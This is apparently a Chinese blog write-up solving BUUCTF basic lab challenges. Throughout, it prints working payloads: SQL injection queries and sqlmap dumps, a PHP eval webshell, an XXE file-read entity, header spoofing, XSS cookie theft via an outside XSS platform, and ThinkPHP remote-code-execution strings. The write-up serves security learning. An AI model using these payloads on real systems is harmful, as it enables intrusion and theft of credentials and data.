BUUCTF - Basic

文章目录

    • [1. Linux Labs 【SSH连接漏洞】](#1. Linux Labs 【SSH连接漏洞】)
    • [2. BUU LFI COURSE【文件包含漏洞】](#2. BUU LFI COURSE【文件包含漏洞】)
    • [3. BUU BRUTE【暴力破解用户名密码】](#3. BUU BRUTE【暴力破解用户名密码】)
    • [4. BUU SQL COURSE【SQL注入-当前数据库】](#4. BUU SQL COURSE【SQL注入-当前数据库】)
    • [5. Upload-Labs-Linux 1【文件上传漏洞】](#5. Upload-Labs-Linux 1【文件上传漏洞】)
    • [7. Buu Upload Course 1【文件上传+包含漏洞】](#7. Buu Upload Course 1【文件上传+包含漏洞】)
    • [8. sqli-labs 1【SQL注入-服务器上的其他数据库】](#8. sqli-labs 1【SQL注入-服务器上的其他数据库】)
    • [9. BUU BURP COURSE 1【IP伪造漏洞】](#9. BUU BURP COURSE 1【IP伪造漏洞】)
    • [10. BUU XXE COURSE 1 【XXE漏洞】](#10. BUU XXE COURSE 1 【XXE漏洞】)
    • [11 LFI labs【文件包含漏洞】](#11 LFI labs【文件包含漏洞】)
    • [12 BUU XSS COURSE 1【XSS漏洞-窃取cookie】](#12 BUU XSS COURSE 1【XSS漏洞-窃取cookie】)
    • [13 AWD Test 1【ThinkPHP框架漏洞】](#13 AWD Test 1【ThinkPHP框架漏洞】)
    • [15 AWD Test2 【SQL注入-万能密码】](#15 AWD Test2 【SQL注入-万能密码】)
    • [16 BUU SQL COURSE 2【SQL注入-sqlmap使用】](#16 BUU SQL COURSE 2【SQL注入-sqlmap使用】)
    • [17 [Windows]Upload-Labs-Windows【文件上传漏洞-基础】](#17 [Windows]Upload-Labs-Windows【文件上传漏洞-基础】)
    • [18 XSS labs【XSS-基础】](#18 XSS labs【XSS-基础】)

1. Linux Labs 【SSH连接漏洞】

题目给出了ssh连接的用户名密码,考察 ssh 连接主机,主机 IP 地址可以通过ping域名获得;端口要改成靶机的端口,不是默认的22。

连接远程主机后即可找到 flag 文件。

2. BUU LFI COURSE【文件包含漏洞】

题目是一段PHP代码,看出来存在文件包含漏洞,只要传入文件名,就会将文件内容展示出来。可以盲目猜一猜 flag 的文件名:

3. BUU BRUTE【暴力破解用户名密码】

一道爆破题,burpsuite 爆破用户名密码即可。注意下请求过快会报 429,可以尝试减小线程数,增加延时。

4. BUU SQL COURSE【SQL注入-当前数据库】

这是一道SQL注入的题,可以看到地址栏输入 1 2 3 可以得到不同的显示结果,尝试判断注入点:

1)输入下列语句发现第一个有结果第二个没结果,说明是数值型且可以注入;

bash 复制代码
and 1=1 
and 1=2 

2)输入下列语句查找数据库名称,如果字段数不对可以再多试试,得到数据库为 news

bash 复制代码
union select 1,database()--+

3)输入下列语句查找表名,得到两张表 amdin 和 contents:

bash 复制代码
union select 1,group_concat(table_name) from information_schema.tables where table_schema="news"

4)输入下列语句查找 admin 表中的字段名,得到 id,username,password:

bash 复制代码
union select 1,group_concat(column_name) from information_schema.columns where table_name="admin"

5)知道了表名和字段名就可以查找表中的数据了,这里我们要找登录用户,找到后登录即可拿到 flag:

bash 复制代码
union select username,password from admin

5. Upload-Labs-Linux 1【文件上传漏洞】

文件上传漏洞,上传一个php一句话木马文件,返回了文件的访问路径,再用蚁剑连接,即可在根目录找到flag。

7. Buu Upload Course 1【文件上传+包含漏洞】

  1. 这个也是文件上传漏洞,上传一个木马文件,发现无论上传什么都会被重命名为 jpg 文件:
bash 复制代码
<?php eval(@$_POST['cmd']); echo "hello"?>
  1. 本来这样是没啥办法的,但是我们访问这个木马文件,发现这个文件其实是被执行了,输出了 hello;

  2. 所以这个其实是一个文件包含漏洞!!!只有文件包含漏洞才能将我们的 jpg 文件当作代码执行,所以还是直接用蚁剑访问这个木马文件,即可连接找到 flag。

8. sqli-labs 1【SQL注入-服务器上的其他数据库】

按照第 4 题类似的方式注入,查找当前数据库 security,发现所有表里都没有 flag。查找当前服务器上其他数据库:

bash 复制代码
union+select+1,2,group_concat(schema_name)+from+information_schema.schemata--+

发现有个 ctftraining 数据库,查找该数据库下的表,果然找到了有个 flag表,该表里有个flag字段。但注意后续查找 flag 的值需要带上数据库名,否则还会在当前数据库中查找就查不到了:

bash 复制代码
union+select+1,2,flag+from+ctftraining.flag--+

9. BUU BURP COURSE 1【IP伪造漏洞】

访问地址发现说只能本地访问,使用 bp 拦截请求,添加以下header头:

bash 复制代码
X-Real-IP: 127.0.0.1
Content-Length: 0

然后出现一个登录页面:
拦截该登录请求,同样添加:X-Real-IP: 127.0.0.1

登录成功,返回 flag。

10. BUU XXE COURSE 1 【XXE漏洞】

XXE漏洞参考:https://zhuanlan.zhihu.com/p/689906749

随便输入一个用户名密码,发现请求参数是 XML 格式的,且返回输入的 admin 值:

可能存在 XXE 漏洞。

XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

构造 XML 实体来读取 flag:

bash 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY a SYSTEM "file:///flag"> 
]>
<root>
    <username>&a;</username>
    <password>1</password>
</root>

这里可能需要猜测一下 flag 所处的位置。结果返回 flag:

11 LFI labs【文件包含漏洞】

文件包含漏洞:

看提示需要输入文件名,输入:/flag,返回 flag

12 BUU XSS COURSE 1【XSS漏洞-窃取cookie】

  1. XSS 漏洞。这是一个留言板,留言以后会返回留言保存的位置:
  2. 注入 XSS:<script>alert('flag')</script>,但是没有成功,查看返回结果,原来是被转义了:
  3. 尝试其他注入:<input onclick="alert('xss');">,可以注入成功。同样 img 标签也可以成功。
  4. 现在的问题在于如何通过这个漏洞获取flag,XSS一般都是用来窃取cookie的,我们使用免费的 XSS 平台,通过xss漏洞将cookie窃取发到这个免费的 xss 平台上。
  5. 登录免费的XSS平台 https://xssaq.com/,首先创建一个项目,勾选以下两项:
  6. 出来一些示例代码,选取 img 标签的代码,提交到输入框中:

  7. 由于本 XSS 漏洞为存储型漏洞,当有人访问我们提交的这个吐槽时,就会自动将其 cookie 发送到我们的 XSS 平台上。去项目内容看看,果然有一条 cookie 消息:
  8. 直接访问这个后台地址 backend/admin.php,发现显示未登录:

    拦截该请求,替换成管理员的 cookie,成功获取到了 flag:

13 AWD Test 1【ThinkPHP框架漏洞】

方式一:给出了ssh连接的用户名密码,通过 ssh 远程连接即可。

方式二:

  1. 启动靶机,是一个简陋的网页,随便点点,出现了以下页面:
  2. 说明网站使用的是 ThinkPHP框架,且知道了其版本号。去查查这个框架存在的漏洞,发现有远程代码执行漏洞:

    且可以查到漏洞的利用方法,即构造以下payload可获取php配置文件:?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
  3. 输入上述payload,果然返回了 php 配置信息:
  4. phpinfo 没啥有用的,构造以下 payload 还可以执行命令:

注意 id 就是我们要执行的命令行代码,这里我们 ls 查看根目录的文件:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20/

发现有个 flag 和 flag.txt:

  1. 查看该 flag.txt 提交后不对,查看 flag,flag 正确。

payload 为 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

15 AWD Test2 【SQL注入-万能密码】

  1. 给出了ssh连接的用户名密码,通过 ssh 远程连接即可。
  2. 如果使用网页登录,登录可尝试万能密码 admin' or 1#

16 BUU SQL COURSE 2【SQL注入-sqlmap使用】

  1. SQL 注入的题,看选择一条新闻标题会展示一条新闻,可以从此处着手
  2. 开始在地址栏里尝试注入了好多次都没成功,后来才发现不应该直接在地址栏注入。打开F12,发现点击新闻时会发送一个隐藏的url,这个才是真正的注入点:
  3. 按照之前的方式尝试注入,可以注入成功,不细讲。
  4. 这里介绍使用 sqlmap 的使用方式,通过sqlmap实现注入。
bash 复制代码
//获取所有数据库
python sqlmap.py -u URL --dbs
//获取当前数据库
python sqlmap.py -u URL --current-db
//获取表名(如果不指定数据库,将默认获取所有库的表名)
python sqlmap.py -u URL -D 数据库名 --tabls
//获取字段名
python sqlmap.py -u URL -D 数据库名 -T 表名 --columns
//获取值
sqlmap -u URL -D 数据库名 -T 表名 -C 字段1,字段2,... --dump

依次爆出数据库名、表名、字段名,获取值即可:python sqlmap.py -u http://c9f858c4-097b-4614-afc0-6dfb99111e10.node5.buuoj.cn:81/backend/content_detail.php?id=1 -D ctftraining -T flag -C flag --dump

17 [Windows]Upload-Labs-Windows【文件上传漏洞-基础】

文件上传漏洞,前端校验图片类型,burpsuite 改文件后缀即可绕过,成功上传一句话木马并且返回了文件路径。但是用蚁剑连接时报错不知道啥问题。

18 XSS labs【XSS-基础】

一直让做 xss-labs 的题,攻破到第八关还没得到flag,不想做了。

相关推荐
小春学渗透32 分钟前
Day107:代码审计-PHP模型开发篇&MVC层&RCE执行&文件对比法&1day分析&0day验证
开发语言·安全·web安全·php·mvc
落樱坠入星野1 小时前
拿下阿里云之后如何在本地运行镜像进行分析
经验分享·安全·网络安全·阿里云·云计算
iSee8572 小时前
ArcGIS地理空间平台 manager 任意文件读取漏洞复现
安全
丶21362 小时前
【鉴权】深入了解 Cookie:Web 开发中的客户端存储小数据
前端·安全·web
_.Switch9 小时前
高级Python自动化运维:容器安全与网络策略的深度解析
运维·网络·python·安全·自动化·devops
JokerSZ.9 小时前
【基于LSM的ELF文件安全模块设计】参考
运维·网络·安全
SafePloy安策9 小时前
软件加密与授权管理:构建安全高效的软件使用体系
安全
芯盾时代9 小时前
数字身份发展趋势前瞻:身份韧性与安全
运维·安全·网络安全·密码学·信息与通信
北京搜维尔科技有限公司12 小时前
搜维尔科技:【应用】Xsens在荷兰车辆管理局人体工程学评估中的应用
人工智能·安全